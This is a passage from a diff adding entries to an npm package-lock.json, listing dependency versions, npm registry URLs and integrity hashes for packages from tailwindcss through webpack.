+        "chokidar": "^3.5.3",
+        "color-name": "^1.1.4",
+        "detective": "^5.2.1",
+        "didyoumean": "^1.2.2",
+        "dlv": "^1.1.3",
+        "fast-glob": "^3.2.11",
+        "glob-parent": "^6.0.2",
+        "is-glob": "^4.0.3",
+        "lilconfig": "^2.0.6",
+        "normalize-path": "^3.0.0",
+        "object-hash": "^3.0.0",
+        "picocolors": "^1.0.0",
+        "postcss": "^8.4.14",
+        "postcss-import": "^14.1.0",
+        "postcss-js": "^4.0.0",
+        "postcss-load-config": "^3.1.4",
+        "postcss-nested": "5.0.6",
+        "postcss-selector-parser": "^6.0.10",
+        "postcss-value-parser": "^4.2.0",
+        "quick-lru": "^5.1.1",
+        "resolve": "^1.22.1"
+      },
+      "bin": {
+        "tailwind": "lib/cli.js",
+        "tailwindcss": "lib/cli.js"
+      },
+      "engines": {
+        "node": ">=12.13.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.0.9"
+      }
+    },
+    "node_modules/tailwindcss/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/tapable": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
+      "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/temp-dir": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz",
+      "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/tempy": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz",
+      "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==",
+      "dependencies": {
+        "is-stream": "^2.0.0",
+        "temp-dir": "^2.0.0",
+        "type-fest": "^0.16.0",
+        "unique-string": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/tempy/node_modules/type-fest": {
+      "version": "0.16.0",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz",
+      "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/terminal-link": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz",
+      "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==",
+      "dependencies": {
+        "ansi-escapes": "^4.2.1",
+        "supports-hyperlinks": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/terser": {
+      "version": "5.31.6",
+      "resolved": "https://registry.npmjs.org/terser/-/terser-5.31.6.tgz",
+      "integrity": "sha512-PQ4DAriWzKj+qgehQ7LK5bQqCFNMmlhjR2PFFLuqGCpuCAauxemVBWwWOxo3UIwWQx8+Pr61Df++r76wDmkQBg==",
+      "dependencies": {
+        "@jridgewell/source-map": "^0.3.3",
+        "acorn": "^8.8.2",
+        "commander": "^2.20.0",
+        "source-map-support": "~0.5.20"
+      },
+      "bin": {
+        "terser": "bin/terser"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/terser-webpack-plugin": {
+      "version": "5.3.10",
+      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz",
+      "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==",
+      "dependencies": {
+        "@jridgewell/trace-mapping": "^0.3.20",
+        "jest-worker": "^27.4.5",
+        "schema-utils": "^3.1.1",
+        "serialize-javascript": "^6.0.1",
+        "terser": "^5.26.0"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.1.0"
+      },
+      "peerDependenciesMeta": {
+        "@swc/core": {
+          "optional": true
+        },
+        "esbuild": {
+          "optional": true
+        },
+        "uglify-js": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/terser/node_modules/commander": {
+      "version": "2.20.3",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+    },
+    "node_modules/test-exclude": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
+      "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
+      "dependencies": {
+        "@istanbuljs/schema": "^0.1.2",
+        "glob": "^7.1.4",
+        "minimatch": "^3.0.4"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/text-table": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
+      "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="
+    },
+    "node_modules/throat": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/throat/-/throat-6.0.1.tgz",
+      "integrity": "sha512-8hmiGIJMDlwjg7dlJ4yKGLK8EsYqKgPWbG3b4wjJddKNwc7N7Dpn08Df4szr/sZdMVeOstrdYSsqzX6BYbcB+w=="
+    },
+    "node_modules/thunky": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz",
+      "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA=="
+    },
+    "node_modules/tmpl": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",
+      "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw=="
+    },
+    "node_modules/to-regex-range": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+      "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+      "dependencies": {
+        "is-number": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=8.0"
+      }
+    },
+    "node_modules/toidentifier": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
+      "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
+      "engines": {
+        "node": ">=0.6"
+      }
+    },
+    "node_modules/tough-cookie": {
+      "version": "4.1.3",
+      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz",
+      "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==",
+      "dependencies": {
+        "psl": "^1.1.33",
+        "punycode": "^2.1.1",
+        "universalify": "^0.2.0",
+        "url-parse": "^1.5.3"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/tough-cookie/node_modules/universalify": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
+      "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==",
+      "engines": {
+        "node": ">= 4.0.0"
+      }
+    },
+    "node_modules/tr46": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz",
+      "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==",
+      "dependencies": {
+        "punycode": "^2.1.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/tryer": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz",
+      "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA=="
+    },
+    "node_modules/tsconfig-paths": {
+      "version": "3.14.1",
+      "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz",
+      "integrity": "sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ==",
+      "dependencies": {
+        "@types/json5": "^0.0.29",
+        "json5": "^1.0.1",
+        "minimist": "^1.2.6",
+        "strip-bom": "^3.0.0"
+      }
+    },
+    "node_modules/tsconfig-paths/node_modules/json5": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz",
+      "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==",
+      "dependencies": {
+        "minimist": "^1.2.0"
+      },
+      "bin": {
+        "json5": "lib/cli.js"
+      }
+    },
+    "node_modules/tsconfig-paths/node_modules/strip-bom": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
+      "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/tslib": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+      "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+    },
+    "node_modules/tsutils": {
+      "version": "3.21.0",
+      "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz",
+      "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==",
+      "dependencies": {
+        "tslib": "^1.8.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      },
+      "peerDependencies": {
+        "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta"
+      }
+    },
+    "node_modules/tsutils/node_modules/tslib": {
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
+    },
+    "node_modules/type-check": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
+      "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
+      "dependencies": {
+        "prelude-ls": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/type-detect": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
+      "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/type-fest": {
+      "version": "0.21.3",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
+      "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/type-is": {
+      "version": "1.6.18",
+      "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
+      "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
+      "dependencies": {
+        "media-typer": "0.3.0",
+        "mime-types": "~2.1.24"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/typedarray-to-buffer": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
+      "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
+      "dependencies": {
+        "is-typedarray": "^1.0.0"
+      }
+    },
+    "node_modules/typescript": {
+      "version": "4.8.4",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.8.4.tgz",
+      "integrity": "sha512-QCh+85mCy+h0IGff8r5XWzOVSbBO+KfeYrMQh7NJ58QujwcE22u+NUSmUxqF+un70P9GXKxa2HCNiTTMJknyjQ==",
+      "peer": true,
+      "bin": {
+        "tsc": "bin/tsc",
+        "tsserver": "bin/tsserver"
+      },
+      "engines": {
+        "node": ">=4.2.0"
+      }
+    },
+    "node_modules/unbox-primitive": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
+      "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "has-bigints": "^1.0.2",
+        "has-symbols": "^1.0.3",
+        "which-boxed-primitive": "^1.0.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/unicode-canonical-property-names-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/unicode-match-property-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==",
+      "dependencies": {
+        "unicode-canonical-property-names-ecmascript": "^2.0.0",
+        "unicode-property-aliases-ecmascript": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/unicode-match-property-value-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/unicode-property-aliases-ecmascript": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz",
+      "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/unique-string": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
+      "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
+      "dependencies": {
+        "crypto-random-string": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/universalify": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+      "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+      "engines": {
+        "node": ">= 10.0.0"
+      }
+    },
+    "node_modules/unpipe": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
+      "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/unquote": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz",
+      "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg=="
+    },
+    "node_modules/upath": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
+      "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==",
+      "engines": {
+        "node": ">=4",
+        "yarn": "*"
+      }
+    },
+    "node_modules/update-browserslist-db": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.0.tgz",
+      "integrity": "sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "dependencies": {
+        "escalade": "^3.1.2",
+        "picocolors": "^1.0.1"
+      },
+      "bin": {
+        "update-browserslist-db": "cli.js"
+      },
+      "peerDependencies": {
+        "browserslist": ">= 4.21.0"
+      }
+    },
+    "node_modules/uri-js": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
+      "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+      "dependencies": {
+        "punycode": "^2.1.0"
+      }
+    },
+    "node_modules/urix": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
+      "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=",
+      "deprecated": "Please see https://github.com/lydell/urix#deprecated"
+    },
+    "node_modules/url-parse": {
+      "version": "1.5.10",
+      "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+      "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
+      "dependencies": {
+        "querystringify": "^2.1.1",
+        "requires-port": "^1.0.0"
+      }
+    },
+    "node_modules/util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+    },
+    "node_modules/util.promisify": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz",
+      "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==",
+      "dependencies": {
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.17.2",
+        "has-symbols": "^1.0.1",
+        "object.getownpropertydescriptors": "^2.1.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/utila": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz",
+      "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA=="
+    },
+    "node_modules/utils-merge": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
+      "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
+      "engines": {
+        "node": ">= 0.4.0"
+      }
+    },
+    "node_modules/uuid": {
+      "version": "8.3.2",
+      "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+      "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+      "bin": {
+        "uuid": "dist/bin/uuid"
+      }
+    },
+    "node_modules/v8-to-istanbul": {
+      "version": "8.1.1",
+      "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz",
+      "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.1",
+        "convert-source-map": "^1.6.0",
+        "source-map": "^0.7.3"
+      },
+      "engines": {
+        "node": ">=10.12.0"
+      }
+    },
+    "node_modules/v8-to-istanbul/node_modules/source-map": {
+      "version": "0.7.4",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+      "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/vary": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
+      "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/w3c-hr-time": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
+      "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
+      "dependencies": {
+        "browser-process-hrtime": "^1.0.0"
+      }
+    },
+    "node_modules/w3c-xmlserializer": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz",
+      "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==",
+      "dependencies": {
+        "xml-name-validator": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/wait-for-expect": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/wait-for-expect/-/wait-for-expect-3.0.2.tgz",
+      "integrity": "sha512-cfS1+DZxuav1aBYbaO/kE06EOS8yRw7qOFoD3XtjTkYvCvh3zUvNST8DXK/nPaeqIzIv3P3kL3lRJn8iwOiSag=="
+    },
+    "node_modules/walker": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",
+      "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==",
+      "dependencies": {
+        "makeerror": "1.0.12"
+      }
+    },
+    "node_modules/watchpack": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.2.tgz",
+      "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==",
+      "dependencies": {
+        "glob-to-regexp": "^0.4.1",
+        "graceful-fs": "^4.1.2"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/wbuf": {
+      "version": "1.7.3",
+      "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz",
+      "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==",
+      "dependencies": {
+        "minimalistic-assert": "^1.0.0"
+      }
+    },
+    "node_modules/webidl-conversions": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz",
+      "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==",
+      "engines": {
+        "node": ">=10.4"
+      }
+    },
+    "node_modules/webpack": {
+      "version": "5.94.0",
+      "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.94.0.tgz",
+      "integrity": "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg==",
+      "dependencies": {
+        "@types/estree": "^1.0.5",
+        "@webassemblyjs/ast": "^1.12.1",
+        "@webassemblyjs/wasm-edit": "^1.12.1",
+        "@webassemblyjs/wasm-parser": "^1.12.1",
+        "acorn": "^8.7.1",
+        "acorn-import-attributes": "^1.9.5",
+        "browserslist": "^4.21.10",
+        "chrome-trace-event": "^1.0.2",
+        "enhanced-resolve": "^5.17.1",
+        "es-module-lexer": "^1.2.1",
+        "eslint-scope": "5.1.1",
+        "events": "^3.2.0",
+        "glob-to-regexp": "^0.4.1",
+        "graceful-fs": "^4.2.11",
+        "json-parse-even-better-errors": "^2.3.1",
+        "loader-runner": "^4.2.0",
+        "mime-types": "^2.1.27",
+        "neo-async": "^2.6.2",
